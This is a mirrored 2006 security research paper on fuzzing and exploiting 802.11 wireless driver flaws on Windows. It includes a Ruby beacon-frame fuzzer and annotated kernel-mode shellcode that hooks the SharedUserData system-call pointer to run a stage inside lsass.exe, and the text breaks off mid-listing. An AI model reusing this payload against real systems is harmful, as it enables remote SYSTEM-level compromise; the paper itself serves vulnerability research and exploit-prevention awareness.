mirror of https://github.com/fdiskyou/Zines.git
1571 lines
85 KiB
Plaintext
1571 lines
85 KiB
Plaintext
Exploiting 802.11 Wireless Driver Vulnerabilities on Windows
|
|
11/2006
|
|
Johnny Cache (johnycsh[a t]802.11mercenary.net)
|
|
H D Moore (hdm[a t]metasploit.com)
|
|
skape (mmiller[a t]hick.org)
|
|
|
|
1) Foreword
|
|
|
|
Abstract: This paper describes the process of identifying and exploiting
|
|
802.11 wireless device driver vulnerabilities on Windows. This process is
|
|
described in terms of two steps: pre-exploitation and exploitation. The
|
|
pre-exploitation step provides a basic introduction to the 802.11 protocol
|
|
along with a description of the tools and libraries the authors used to create
|
|
a basic 802.11 protocol fuzzer. The exploitation step describes the common
|
|
elements of an 802.11 wireless device driver exploit. These elements include
|
|
things like the underlying payload architecture that is used when executing
|
|
arbitrary code in kernel-mode on Windows, how this payload architecture has
|
|
been integrated into the 3.0 version of the Metasploit Framework, and the
|
|
interface that the Metasploit Framework exposes to make developing 802.11
|
|
wireless device driver exploits easy. Finally, three separate real world
|
|
wireless device driver vulnerabilities are used as case studies to illustrate
|
|
the application of this process. It is hoped that the description and
|
|
illustration of this process can be used to show that kernel-mode
|
|
vulnerabilities can be just as dangerous and just as easy to exploit as
|
|
user-mode vulnerabilities. In so doing, awareness of the need for more robust
|
|
kernel-mode exploit prevention technology can be raised.
|
|
|
|
Thanks: The authors would like to thank David Maynor, Richard Johnson, and
|
|
Chris Eagle.
|
|
|
|
2) Introduction
|
|
|
|
Software security has matured a lot over the past decade. It has gone from
|
|
being an obscure problem that garnered little interest from corporations to
|
|
something that has created an industry of its own. Corporations that once saw
|
|
little value in investing resources in software security now have entire teams
|
|
dedicated to rooting out security issues. The reason for this shift in
|
|
attitude is surely multifaceted, but it could be argued that the greatest
|
|
influence came from improvements to exploitation techniques that could be used
|
|
to take advantage of software vulnerabilities. The refinement of these
|
|
techniques made it possible for reliable exploits to be used without any
|
|
knowledge of the vulnerability. This shift effectively eliminated the already
|
|
thin crutch of barrier-to-entry complacency which many corporations were
|
|
guilty of leaning on.
|
|
|
|
Whether or not the refinement of exploitation techniques was indeed the
|
|
turning point, the fact remains that there now exists an industry that has
|
|
been spawned in the name of software security. Of particular interest for the
|
|
purpose of this paper are the corporations and individuals within this
|
|
industry that have invested time in researching and implementing solutions
|
|
that attempt to tackle the problem of exploit prevention. As a result of this
|
|
time investment, things like non-executable pages, address space layout
|
|
randomization (ASLR), stack canaries, and other novel preventative measures
|
|
are becoming common place in the desktop market. While there should be no
|
|
argument that the main-stream integration of many of these technologies is a
|
|
good thing, there's a problem.
|
|
|
|
This problem centers around the fact that the majority of these exploit
|
|
prevention solutions to date have been slightly narrow-sighted in their
|
|
implementations. In particular, these solutions generally focus on preventing
|
|
exploitation in only one context: user-mode. This is not true in all cases.
|
|
The authors would like to take care to mention that solutions like grsecurity
|
|
from the PaX team have had support for features that help to provide
|
|
kernel-level security. Furthermore, stack canary implementations have existed
|
|
and are integrated with many mainstream kernels. However, not all device
|
|
drivers have been compiled to take advantage of these new enhancements. The
|
|
reason for this narrow-sightedness is often defended based on the fact that
|
|
kernel-mode vulnerabilities have been far less prevalent. Furthermore,
|
|
kernel-mode vulnerabilities are considered by most to require a much more
|
|
sophisticated attack when compared with user-mode vulnerabilities.
|
|
|
|
The prevalence of kernel-mode vulnerabilities could be interpreted in many
|
|
different ways. The naive way would be to think that kernel-mode
|
|
vulnerabilities really are few and far between. After all, this is code that
|
|
should have undergone rigorous code coverage testing. A second interpretation
|
|
might consider that kernel-mode vulnerabilities are more complex and thus
|
|
harder to find. A third interpretation might be that there are fewer eyes
|
|
focused on looking for kernel-mode vulnerabilities. While there are certainly
|
|
other factors, the authors feel that it is probably best captured by the
|
|
second and third interpretation.
|
|
|
|
Even if prevalence is affected because of the relative difficulty of
|
|
exploiting kernel-mode vulnerabilities, it's still a poor excuse for exploit
|
|
prevention solutions to simply ignore it. The past has already shown that
|
|
exploitation techniques for user-mode vulnerabilities were refined to the
|
|
point of creating increasingly reliable exploits. These increasingly reliable
|
|
exploits were then incorporated into automated worms. What's so different
|
|
about kernel-mode vulnerabilities? Sure, they are complicated, but so were
|
|
heap overflows. The authors see no reason to expect that kernel-mode
|
|
vulnerabilities won't also experience a period of revolutionary public
|
|
advancements to existing exploitation techniques. In fact, this period has
|
|
already started[5,2,1]. Still, most corporations seem content to lean on the same
|
|
set of crutches, waiting for proof that a problem really exists. It's hoped
|
|
that this paper can assist in the process of making it clear that kernel-mode
|
|
vulnerabilities can be just as easy to exploit as user-mode vulnerabilities.
|
|
|
|
It really shouldn't come as a surprise that kernel-mode vulnerabilities exist.
|
|
The intense focus put upon preventing the exploitation of user-mode
|
|
vulnerabilities has caused kernel-mode security to lag behind. This lag is
|
|
further complicated by the fact that developers who write kernel-mode software
|
|
must generally have a completely different mentality relative to what most
|
|
user-mode developers are acustomed to. This is true regardless of what
|
|
operating system a programmer might be dealing with (so long as it's a
|
|
task-oriented operating system with a clear separation between system and
|
|
user). User-mode programmers who decide to dabble in writing device drivers
|
|
for NT will find themselves in for a few surprises. The most apparent thing
|
|
one would notice is that the old Windows Driver Model (WDM) and the new
|
|
Windows Driver Framework (WDF) represent completely different APIs relative to
|
|
what a user-mode developer would be familiar with. There are a number of
|
|
standard C runtime artifacts that can still be used, but their use in device
|
|
driver code stands out like a sore thumb. This fact hasn't stopped developers
|
|
from using dangerous string functions.
|
|
|
|
While the API being completely different is surely a big hurdle, there are a
|
|
number of other gotchas that a user-mode programmer wouldn't normally find
|
|
themselves worrying about. One of the most interesting limitations imposed
|
|
upon device driver developers is the conservation of stack space. On modern
|
|
derivatives of NT, kernel-mode threads are only provided with 3 pages (12288
|
|
bytes) of stack space. In user-mode, thread stacks will generally grow as
|
|
large as 256KB (this default limit is controlled by the optional header of an
|
|
executable binary). Due to the limited amount of kernel-mode thread stack
|
|
space, it should be rare to ever see a device driver consuming a large amount
|
|
of space within a stack frame. Nevertheless, it was observed that the Intel
|
|
Centrino drivers have multiple instances of functions that consume over 1 page
|
|
of stack space. That's 33% of the available stack space wasted within one
|
|
stack frame!
|
|
|
|
Perhaps the most important of all of the differences is the extra care that
|
|
must be taken when it comes to dealing with things like performance, error
|
|
handling, and re-entrancy. These major elements are critical to ensuring the
|
|
stability of the operating system as a whole. If a programmer is negligent in
|
|
their handling of any of these things in user-mode, the worst that will happen
|
|
is the application will crash. In kernel-mode, however, a failure to properly
|
|
account for any of these elements will generally affect the stability of the
|
|
system as a whole. Even worse, security related flaws in device drivers
|
|
provide a point of exposure that can result in super-user privileges.
|
|
|
|
From this very brief introduction, it is hoped that the reader will begin to
|
|
realize that device driver development is a different world. It's a world
|
|
that's filled with a greater number of restrictions and problems, where the
|
|
implications of software bugs are much greater than one would normally see in
|
|
user-mode. It's a world that hasn't yet received adequate attention in the
|
|
form of exploit prevention technology, thus making it possible to improve and
|
|
refine kernel-mode exploitation techniques. It should come as no surprise
|
|
that such a world would be attractive to researchers and tinkerers alike.
|
|
|
|
This very attraction is, in fact, one of the major motivations for this paper.
|
|
While the authors will focus strictly on the process used to identify and
|
|
exploit flaws in wireless device drivers, it should be noted that other device
|
|
drivers are equally likely to be prone to security issues. However, most other
|
|
device drivers don't have the distinction of exposing a connectionless layer2
|
|
attack surface to all devices in close proximity. Frankly, it's hard to
|
|
get much cooler than that. That only happens in the movies, right?
|
|
|
|
To kick things off, the structure of this paper is as follows. In chapter 3,
|
|
the steps used to find vulnerabilities in wireless device drivers, such as
|
|
through the use of fuzzing, are described. Chapter 4 explains the process of
|
|
actually leveraging a device driver vulnerability to execute arbitrary code
|
|
and how the 3.0 version of the Metasploit Framework has been extended to make
|
|
this trivial to deal with. Finally, chapter 5 provides three real world
|
|
examples of wireless device driver vulnerabilities. Each real world example
|
|
describes the trials and tribulations of the vulnerability starting with the
|
|
initial discovery and ending with arbitrary code execution.
|
|
|
|
3) Pre-Exploitation
|
|
|
|
This chapter describes the tools and strategies used by the authors to
|
|
identify 802.11 wireless device driver vulnerabilities. Section 3.1 provides a
|
|
basic description of the 802.11 protocol in order to provide the
|
|
reader with information necessary to understand the attack surface that is
|
|
exposed by 802.11 device drivers. Section 3.2 describes the basic interface
|
|
exposed by the 3.0 version of the Metasploit Framework that makes it possible
|
|
to craft arbitrary 802.11 packets. Finally, section 3.3 describes a basic
|
|
approach to fuzzing certain aspects of the way a device driver handles certain
|
|
802.11 protocol functions.
|
|
|
|
3.1) Attack Surface
|
|
|
|
Device drivers suffer from the same types of vulnerabilities that apply to any
|
|
other code written in the C programming language. Buffer mismanagement, faulty
|
|
pointer math, and integer overflows can all lead to exploitable conditions.
|
|
Device driver flaws are often seen as a low risk issue due to the fact that
|
|
most drivers do not process attacker-controlled data. The exception, of
|
|
course, are drivers for networking devices. Although Ethernet devices (and
|
|
their drivers) have been around forever, the simplicity of what the driver has
|
|
to handle has greatly limited the attack surface. Wireless drivers are
|
|
required to handle a wider range of requests and are also required to expose
|
|
this functionality to anyone within range of the wireless device.
|
|
|
|
In the world of 802.11 device drivers, the attack surface changes based on the
|
|
state of the device. The three primary states are:
|
|
|
|
1. Unauthenticated and Unassociated
|
|
2. Authenticated and Unassociated
|
|
3. Authenticated and Associated
|
|
|
|
In the first state, the client is not connected to a specific wireless
|
|
network. This is the default state for 802.11 drivers and will be the focus
|
|
for this section. The 802.11 protocol defines three different types of frames:
|
|
Control, Management, and Data. These frame types are further divided into
|
|
three classes (1, 2, and 3). Only frames in the first class are processed in
|
|
the Unauthenticated and Unassociated state.
|
|
|
|
The following 802.11 management sub-types are processed by clients while in
|
|
state 1[3]:
|
|
|
|
1. Probe Request
|
|
2. Probe Reponse
|
|
3. Beacon
|
|
4. Authentication
|
|
|
|
The Probe Response and Beacon sub-types are used by wireless devices to
|
|
discover and advertise the local wireless networks. Clients can transmit Probe
|
|
Responses to discover networks as well (more below). The Authentication
|
|
sub-type is used to join a specific wireless network and reach the second
|
|
state.
|
|
|
|
Wireless clients discover the list of available networks in two different
|
|
ways. In Active Mode, the client will send a Probe Request containing an
|
|
empty SSID field. Any access point in range will reply with a Probe Response
|
|
containing the parameters of the wireless network it serves. Alternatively,
|
|
the client can specify the SSID it is looking for. In Passive Mode, clients
|
|
will listen for Beacon requests and read the network parameters from within
|
|
the beacon. Since both of these methods result in a frame that contains
|
|
wireless network information, it makes sense for the frame format to be
|
|
similar. The method chosen by the client is determined by the capabilities of
|
|
the device and the application using the driver.
|
|
|
|
A beacon frame includes a generic 802.11 header that defines the packet type,
|
|
source, destination, Basic Service Set ID (BSSID) and other envelope
|
|
information. Beacons also include a fixed-length header that is composed of a
|
|
timestamp, beacon interval, and a capabilities field. The fixed-length header
|
|
is followed by one or more Information Elements (IEs) which are
|
|
variable-length fields and contain the bulk of the access point information.
|
|
A probe response frame is almost identical to a beacon frame except that the
|
|
destination address is set to that of the client whereas beacons set it to the
|
|
broadcast address.
|
|
|
|
Information elements consist of an 8-bit type field, an 8-bit length field,
|
|
and up to 255 bytes of data. This type of structure is very similar to the
|
|
common Type-Length-Value (TLV) form used in many different protocols. Beacon
|
|
and probe response packets must contain an SSID IE, a Supported Rates IE, and
|
|
a Channel IE for most wireless clients to process the packet.
|
|
|
|
The 802.11 specification states that the SSID field (the human name for a
|
|
given wireless network) should be no more than 32 bytes long. However, the
|
|
maximum length of an information element is 255 bytes long. This leaves quite
|
|
a bit of room for error in a poorly-written wireless driver. Wireless drivers
|
|
support a large number of different information element types. The standard
|
|
even includes support for proprietary, vendor-specific IEs.
|
|
|
|
3.2) Packet Injection
|
|
|
|
In order to attack a driver's beacon and probe response processing code, a
|
|
method of sending raw 802.11 frames to the device is needed. Although the
|
|
ability to send raw 802.11 packets is not a supported feature in most wireless
|
|
cards, many open-source drivers can be convinced to integrate support with a
|
|
small patch. A few even support it natively. Under the Linux operating
|
|
system, there is a wide range of hardware and drivers that support raw packet
|
|
injection. Unfortunately, each driver provides a slightly different interface
|
|
for accessing this feature. To support many different wireless cards, a
|
|
hardware-independent method for sending raw 802.11 frames is needed.
|
|
|
|
The solution is the LORCON library (Loss of Radio Connectivity), written by
|
|
Mike Kershaw and Joshua Wright. This library provides a standardized interface
|
|
for sending raw 802.11 packets through a variety of supported drivers.
|
|
However, this library is written in C and does not expose any Ruby bindings by
|
|
default. To make it possible to interact with this library from Ruby, a new
|
|
Ruby extension (ruby-lorcon) was created that interfaces with the LORCON
|
|
library and exposes a simple object-oriented interface. This wrapper interface
|
|
makes it possible to send arbitrary wireless packets from a Ruby script.
|
|
|
|
The easiest way to call the ruby-lorcon interface from a Metasploit module is
|
|
through a mixin. Mixins are used in the 3.0 version of the Metasploit
|
|
Framework to improve code reuse and allow any module to import a rich feature
|
|
set simply by including the right mixins. The mixin that exists for LORCON
|
|
provides three new user options and a simple API for opening the interface,
|
|
sending packets, and changing the channel.
|
|
|
|
+-----------+----------+----------+--------------------------------------------+
|
|
| Name | Default | Required | Description |
|
|
+-----------+----------+----------+--------------------------------------------+
|
|
| CHANNEL | 11 | yes | The default channel number |
|
|
| DRIVER | madwifi | yes | The name of the wireless driver for lorcon |
|
|
| INTERFACE | ath0 | yes | The name of the wireless interface |
|
|
+-----------+----------+----------+--------------------------------------------+
|
|
|
|
A Metasploit module that wants to send raw 802.11 packets should include the
|
|
Msf::Exploit::Lorcon mixin. When this mixin is used, a module can make use
|
|
of wifi.open() to open the interface and wifi.write() to send packets. The user
|
|
will specify the INTERFACE and DRIVER options for their particular hardware
|
|
and driver. The creation of the 802.11 packet itself is left in the hands of
|
|
the module developer.
|
|
|
|
3.3) Vulnerability Discovery
|
|
|
|
One of the fastest ways to find new flaws is through the use of a fuzzer. In
|
|
general terms, a fuzzer is a program that forces an application to process
|
|
highly variant data that is typically malformed in the hopes that one of the
|
|
attempts will yield a crash. Fuzzing a wireless device driver depends on the
|
|
device being in a state where specific frames are processed and a tool that
|
|
can send frames likely to cause a crash. In the first part of this chapter,
|
|
the authors described the default state of a wireless client and what types of
|
|
management frames are processed in this state.
|
|
|
|
The two types of frames that this paper will focus on are Beacons and Probe
|
|
Responses. These frames have the following structure:
|
|
|
|
+------+----------------------+
|
|
| Size | Description |
|
|
+------+----------------------+
|
|
| 1 | Frame Type |
|
|
| 1 | Frame Flags |
|
|
| 2 | Duration |
|
|
| 6 | Destination |
|
|
| 6 | Source |
|
|
| 6 | BSSID |
|
|
| 2 | Sequence |
|
|
| 8 | Timestamp |
|
|
| 2 | Beacon Interval |
|
|
| 2 | Capability Flags |
|
|
| Var | Information Elements |
|
|
| 2 | Frame Checksum |
|
|
+------+----------------------+
|
|
|
|
The Information Elements field is a list of variable-length structures
|
|
consisting of a one byte type field, a one byte length field, and up to 255
|
|
bytes of data. Variable-length fields are usually good targets for fuzzing
|
|
since they require special processing when the packet is parsed. To attack a
|
|
driver that uses Passive Mode to discover wireless networks, it's necessary to
|
|
flood the target with mangled Beacons. To attack a driver that uses Active
|
|
Mode, it's necessary to flood the target with mangled Probe Responses while
|
|
forcing it to scan for networks. The following Ruby code generates a Beacon
|
|
frame with randomized Information Element data. The Frame Checksum field is
|
|
automatically added by the driver and does not need to be included.
|
|
|
|
#
|
|
# Generate a beacon frame with random information elements
|
|
#
|
|
|
|
# Maximum frame size (max is really 2312)
|
|
mtu = 1500
|
|
|
|
# Number of information elements
|
|
ies = rand(1024)
|
|
|
|
# Randomized SSID
|
|
ssid = Rex::Text.rand_text_alpha(rand(31)+1)
|
|
|
|
# Randomized BSSID
|
|
bssid = Rex::Text.rand_text(6)
|
|
|
|
# Randomized source
|
|
src = Rex::Text.rand_text(6)
|
|
|
|
# Randomized sequence
|
|
seq = [rand(255)].pack('n')
|
|
|
|
# Capabiltiies
|
|
cap = Rex::Text.rand_text(2)
|
|
|
|
# Timestamp
|
|
tstamp = Rex::Text.rand_text(8)
|
|
|
|
frame =
|
|
"\x80" + # type/subtype (mgmt/beacon)
|
|
"\x00" + # flags
|
|
"\x00\x00" + # duration
|
|
"\xff\xff\xff\xff\xff\xff" + # dst (broadcast)
|
|
src + # src
|
|
bssid + # bssid
|
|
seq + # seq
|
|
tstamp + # timestamp value
|
|
"\x64\x00" + # beacon interval
|
|
cap # capabilities
|
|
|
|
# First IE: SSID
|
|
"\x00" + ssid.length.chr + ssid +
|
|
|
|
# Second IE: Supported Rates
|
|
"\x01" + "\x08" + "\x82\x84\x8b\x96\x0c\x18\x30\x48" +
|
|
|
|
# Third IE: Current Channel
|
|
"\x03" + "\x01" + channel.chr
|
|
|
|
# Generate random Information Elements and append them
|
|
1.upto(ies) do |i|
|
|
max = mtu - frame.length
|
|
break if max < 2
|
|
t = rand(256)
|
|
l = (max - 2 == 0) ? 0 : (max > 255) ? rand(255) : rand(max - 1)
|
|
d = Rex::Text.rand_text(l)
|
|
frame += t.chr + l.chr + d
|
|
end
|
|
|
|
While this is just one example of a simple 802.11 fuzzer for a particular
|
|
frame, much more complicated, state-aware fuzzers could be implemented that
|
|
make it possible to fuzz other packet handling areas of wireless device
|
|
drivers.
|
|
|
|
4) Exploitation
|
|
|
|
After an issue has been identified through the use of a fuzzer or through
|
|
manual analysis, it's necessary to begin the process of determining a way to
|
|
reliably gain control of the instruction pointer. In the case of stack-based
|
|
buffer overflows on Windows, this process is often as simple as determining
|
|
the offset to the return address and then overwriting it with an address of an
|
|
instruction that jumps back into the stack. That's the best case scenario,
|
|
though, and there are often other hurdles that one may have to overcome
|
|
regardless of whether or not the vulnerability exists in a device driver or in
|
|
a user-mode program. These hurdles and other factors are what tend to make
|
|
the process of getting reliable control of the instruction pointer one of the
|
|
most challenging steps in exploit development. Rather than exhaustively
|
|
describing all of the problems one could run into, the authors will instead
|
|
provide illustrations in the form of real world examples included in chapter 5.
|
|
|
|
Assuming reliable control of the instruction pointer can be gained, the
|
|
development of an exploit typically transitions into its final stage:
|
|
arbitrary code execution. In user-mode, this stage has been completely
|
|
automated for most exploit developers. It's become common practice to simply
|
|
use Metasploit's user-mode payload generator. Kernel-mode payloads, on the
|
|
other hand, have not seen an integrated solution for producing reliable
|
|
payloads that can be dropped into any exploit. That's certainly not to say
|
|
that there hasn't been previous work dealing with kernel-mode payloads, as
|
|
there definitely has been[2,1], but their form up to now has been one that is not
|
|
particularly easy to adopt. This lack of easy to use kernel-mode payloads can
|
|
be seen as one of the major reasons why there has not been a large number of
|
|
public, reliable kernel-mode exploits.
|
|
|
|
Since one of the goals of this paper is to illustrate how kernel-mode exploits
|
|
can be written just as easily as user-mode exploits, the authors determined
|
|
that it was necessary to incorporate the existing set of kernel-mode payload
|
|
ideas into the 3.0 version of the Metasploit framework where they could be
|
|
used freely with any future kernel-mode exploits. While this final
|
|
integration was certainly the end-goal, there were a number of important steps
|
|
that had to be taken before the integration could occur. The following
|
|
sections will attempt to provide this background. In section 4.1, details
|
|
regarding the payload architecture that the authors selected is described in
|
|
detail. This section also includes a description of the interface that has
|
|
been exposed in the 3.0 version of the Metasploit Framework for developers who
|
|
wish to implement kernel-mode exploits.
|
|
|
|
4.1) Payload Architecture
|
|
|
|
The payload architecture that the authors decided to integrate was based
|
|
heavily off previous research[1]. As was alluded to in the introduction, there
|
|
are a number of complicated considerations that must be taken into account
|
|
when dealing with kernel-mode exploitation. A large majority of these
|
|
considerations are directly related to what methods should be used when
|
|
executing arbitrary code in the kernel. For example, if a device driver was
|
|
holding a lock at the time that an exploit was triggered, what might be the
|
|
best way to go about releasing that lock so as to recover the system so that
|
|
it will still be possible to interact with it in a meaningful way? Other
|
|
types of considerations include things like IRQL restrictions, cleaning up
|
|
corrupted structures, and so on. These considerations lead to there being
|
|
many different ways in which a payload might best be implemented for a
|
|
particular vulnerability. This is quite a bit different from the user-mode
|
|
environment where it's almost always possible to use the exact same payload
|
|
regardless of the application.
|
|
|
|
Though these situational complications do exist, it is possible to design and
|
|
implement a payload system that can be applied in almost any circumstance. By
|
|
separating kernel-mode payloads into variable components, it becomes possible
|
|
to combine components together in different ways to form functional variations
|
|
that are best suited for particular situations. In Windows Kernel-mode
|
|
Payload Fundamentals [1], kernel-mode payloads are broken down into four
|
|
different components: migration, stagers, recovery, and stages.
|
|
|
|
When describing kernel-mode payloads in terms of components, the migration
|
|
component would be one that is used to migrate from an unsafe execution
|
|
environment to a safe execution environment. For example, if the IRQL is at
|
|
DISPATCH when a vulnerability is triggered, it may be necessary to migrate to
|
|
a safer IRQL such as PASSIVE. It is not always necessary to have a migration
|
|
component. The purpose of a stager component is to move some portion of the
|
|
payload so that it executes in the context of another thread context. This
|
|
may be necessary if the current thread is of critical importance or may lead
|
|
to a deadlock of the system should certain operations be used. The use of a
|
|
stager may obviate the need for a migration component. A recovery component
|
|
is something that is used to restore the system to clean state and then
|
|
continue execution. This component is generally one that may require
|
|
customization for a given vulnerability as it may not always be possible to
|
|
describe the steps needed to recover the system in a generic way. For
|
|
example, if locks were held at the time that the vulnerability was triggered,
|
|
it may be necessary to find a way to release those locks and then continue
|
|
execution from a safe point. Finally, the stage component is a catch-all for
|
|
whatever arbitrary code may be executed once the payload is running in a safe
|
|
environment.
|
|
|
|
This model for describing kernel-mode payloads is what the authors decided to
|
|
adopt. To better understand how this model works, it seems best to describe
|
|
how it was applied for all three real world vulnerabilities that are shown in
|
|
chapter 5. These three vulnerabilities actually make use of the same basic
|
|
underlying payload, which will henceforth be referred to as ``the payload''
|
|
for brevity. The payload itself is composed of three of the four components.
|
|
Each of the payload components will be discussed individually and then as a
|
|
whole to provide an idea for how the payload operates.
|
|
|
|
The first component that exists in the payload is a stager component. The
|
|
stager that the authors chose to use is based on the SharedUserData SystemCall
|
|
Hook stager described in [1]. Before understanding how the stager works, it's
|
|
important to understand a few things. As the name implies, the stager
|
|
accomplishes its goal by hooking the SystemCall attribute found within
|
|
SharedUserData. As a point of reference, SharedUserData is a global page that
|
|
is shared between user-mode and kernel-mode. It acts as a sort of global
|
|
structure that contains things like tick count and time information, version
|
|
information, and quite a few other things. It's extremely useful for a few
|
|
different reasons, not the least of which being that it's located at a fixed
|
|
address in user-mode and in kernel-mode on all NT derivatives. This means
|
|
that the stager is instantly portable and doesn't need to perform any symbol
|
|
resolution to locate the address, thus helping to keep the overall size of the
|
|
payload small.
|
|
|
|
The SystemCall attribute that is hooked is part of an enhancement that was
|
|
added in Windows XP. This enhancement was designed to make it possible to use
|
|
optimized system call instructions depending on what hardware support is
|
|
present on a given machine. Prior to Windows XP, system calls were dispatched
|
|
from user-mode through the hardcoded use of the int 0x2e soft interrupt. Over
|
|
time, hardware enhancements were made to decrease the overhead involved in
|
|
performing a system call, such as through the introduction of the sysenter
|
|
instruction. Since Microsoft isn't in the business of providing different
|
|
versions of Windows for different makes and models of hardware, they decided
|
|
to determine at runtime which system call interface to use. SharedUserData
|
|
was the perfect candidate for storing the results of this runtime
|
|
determination as it was already a shared page that existed in every user-mode
|
|
process. After making these modifications, ntdll.dll was updated to dispatch
|
|
system calls through SharedUserData rather than through the hardcoded use of
|
|
int 0x2e. The initial implementation of this new system call dispatching
|
|
interface placed executable code within the SystemCall attribute of
|
|
SharedUserData. Subsequent versions of Windows, such as XP SP2, turned the
|
|
SystemCall attribute into a function pointer.
|
|
|
|
One important implication about the introduction of the SystemCall attribute
|
|
to SharedUserData is that it represents a pivot point through which all system
|
|
call dispatching occurs in user-mode. In previous versions of Windows, each
|
|
user-mode system call stub routine invoked int 0x2e directly. In the latest
|
|
versions, these stub routines make indirect calls through the SystemCall
|
|
function pointer. By default, this function pointer is initialized to point
|
|
to one of a few exported symbols within ntdll.dll. However, the implications
|
|
of this function pointer being changed to point elsewhere mean that it would
|
|
be possible to intercept all system calls within all processes. This
|
|
implication is what forms the very foundation for the stager that is used by
|
|
the payload.
|
|
|
|
When the stager begins executing, it's running in kernel-mode in the context
|
|
of the thread that triggered the vulnerability. The first action it takes is
|
|
to copy a chunk of code (the stage) into an unused portion of SharedUserData
|
|
using the predictable address of 0xffdf037c. After the copy operation
|
|
completes, the stager proceeds by hooking the SystemCall attribute. This hook
|
|
must be handled differently depending on whether or not the target operating
|
|
system is pre-XP SP2 or not. More details on how this can be handled are
|
|
described in [1]. Regardless of the approach, the SystemCall attribute is
|
|
redirected to point to 0x7ffe037c. This predictable location is the user-mode
|
|
accessible address of the unused portion of SharedUserData where the stage was
|
|
copied into. After the hooking operation completes, all system calls invoked
|
|
by user-mode processes will first go through the stage placed at 0x7ffe037c.
|
|
The stager portion of the payload looks something like this (note, this
|
|
implementation is only designed to work on XP SP2 and Windows 2003 Server SP1.
|
|
Modifications would need to be made to make it work on previous versions of XP
|
|
and 2003):
|
|
|
|
; Jump/Call to get the address of the stage
|
|
00000000 EB38 jmp short 0x3a
|
|
00000002 BB0103DFFF mov ebx,0xffdf0301
|
|
00000007 4B dec ebx
|
|
00000008 FC cld
|
|
; Copy the stage into 0xffdf037c
|
|
00000009 8D7B7C lea edi,[ebx+0x7c]
|
|
0000000C 5E pop esi
|
|
0000000D 6AXX push byte num_stage_dwords
|
|
0000000F 59 pop ecx
|
|
00000010 F3A5 rep movsd
|
|
; Set edi to the address of the soon-to-be function pointer
|
|
00000012 BF7C03FE7F mov edi,0x7ffe037c
|
|
; Check to make sure the hook hasn't already been installed
|
|
00000017 393B cmp [ebx],edi
|
|
00000019 7409 jz 0x24
|
|
; Grab SystemCall function pointer
|
|
0000001B 8B03 mov eax,[ebx]
|
|
0000001D 8D4B08 lea ecx,[ebx+0x8]
|
|
; Store the existing value in 0x7ffe0308
|
|
00000020 8901 mov [ecx],eax
|
|
; Overwrite the existing function pointer and make things live!
|
|
00000022 893B mov [ebx],edi
|
|
|
|
; recovery stub here
|
|
|
|
0000003A E8C3FFFFFF call 0x2
|
|
|
|
; stage here
|
|
|
|
With the hook in place, the stager has completed its primary task which was to
|
|
copy a stage into a location where it could be executed in the future. Before
|
|
the stage can execute, the stager must allow the recovery component of the
|
|
payload to execute. As mentioned previously, the recovery component
|
|
represents one of the most vulnerability-specific portions of any kernel-mode
|
|
payload. For the purpose of the exploits described in chapter 5, a special
|
|
purpose recovery component was necessary.
|
|
|
|
This particular recovery component was required due to the fact that the
|
|
example vulnerabilities are triggered in the context of the Idle thread. On
|
|
Windows, the Idle thread is a special kernel thread that executes whenever a
|
|
processor is idle. Due to the nature of the way the Idle thread operates,
|
|
it's dangerous to perform operations like spinning the thread or any of the
|
|
other recovery methods described in [1]. It may also be possible to apply the
|
|
technique for delaying execution within the Idle thread as discussed in [2]. The
|
|
recovery method that was finally selected involves two basic steps. First,
|
|
the IRQL for the current processor is restored to DISPATCH level just in case
|
|
it was executing at a higher IRQL. Second, execution control is transferred
|
|
into the first instruction of nt!KiIdleLoop after initializing registers
|
|
appropriately. The end effect is that the idle thread begins executing all
|
|
over again and, if all goes well, the system continues operating as if nothing
|
|
had happened. In practice, this recovery method has been proven reliable.
|
|
However, the one negative that it is has is that it requires knowledge of the
|
|
address that nt!KiIdleLoop resides at. This dependence represents an area
|
|
that is ripe for future improvement. Regardless of limitations, the recovery
|
|
component for the payload looks like the code below:
|
|
|
|
; Restore the IRQL
|
|
00000024 31C0 xor eax,eax
|
|
00000026 64C6402402 mov byte [fs:eax+0x24],0x2
|
|
; Initialize assumed registers
|
|
0000002B 8B1D1CF0DFFF mov ebx,[0xffdff01c]
|
|
00000031 B827BB4D80 mov eax,0x804dbb27
|
|
00000036 6A00 push byte +0x0
|
|
; Transfer control to nt!KiIdleLoop
|
|
00000038 FFE0 jmp eax
|
|
|
|
After the recovery component has completed its execution, all of the payload
|
|
code that was originally executing in kernel-mode is complete. The final
|
|
portion of the payload that remains to be executed is the stage that was
|
|
copied by the stager. The stage itself runs in user-mode within all process
|
|
contexts, and it executes every time a system call is dispatched. The
|
|
implications of this should be obvious. Having a stage that executes within
|
|
every process every time a system call occurs is just asking for trouble. For
|
|
that reason, it makes sense to design a generic user-mode stage that can be
|
|
used to limit the times that it executes to one particular context.
|
|
|
|
The approach that the authors took to meet this requirement is as follows.
|
|
First, the stage performs a check that is designed to see if it is running in
|
|
the context of a specific process. This check is there in order to help
|
|
ensure that the stage itself only executes in a known-good environment. As an
|
|
example, it would be a shame to take advantage of a kernel-mode vulnerability
|
|
only to finally execute code with the privileges of Guest. By default, this
|
|
check is designed to see if the stage is running within lsass.exe, a process
|
|
that runs with SYSTEM level privileges. If the stage is running within lsass,
|
|
it performs a check to see if the SpareBool attribute of the Process
|
|
Environment Block has been set to one. By default, this value is initialized
|
|
to zero in all processes. If the SpareBool attribute is set to zero, then the
|
|
stage proceeds to set the SpareBool attribute to one and then finishes by
|
|
executing whatever code is remaining within the stage. If the SpareBool
|
|
attribute is set to one, which means the stage has already run, or it's not
|
|
running within lsass, it transfers control back to the original system call
|
|
dispatching routine. This is necessary because it is still a requirement that
|
|
system calls from user-mode processes be dispatched appropriately, otherwise
|
|
the system itself would grind to a halt. An example of what this stage might
|
|
look like is shown below:
|
|
|
|
; Preserve the calling environment
|
|
0000003F 60 pusha
|
|
00000040 6A30 push byte +0x30
|
|
00000042 58 pop eax
|
|
00000043 99 cdq
|
|
00000044 648B18 mov ebx,[fs:eax]
|
|
; Check if Peb->Ldr is NULL
|
|
00000047 39530C cmp [ebx+0xc],edx
|
|
0000004A 7426 jz 0x72
|
|
; Extract Peb->ProcessParameters->ImagePathName.Buffer
|
|
0000004C 8B5B10 mov ebx,[ebx+0x10]
|
|
0000004F 8B5B3C mov ebx,[ebx+0x3c]
|
|
; Add 0x28 to the image path name (skip past c:\windows\system32\)
|
|
00000052 83C328 add ebx,byte +0x28
|
|
; Compare the name of the executable with lass
|
|
00000055 8B0B mov ecx,[ebx]
|
|
00000057 034B03 add ecx,[ebx+0x3]
|
|
0000005A 81F96C617373 cmp ecx,0x7373616c
|
|
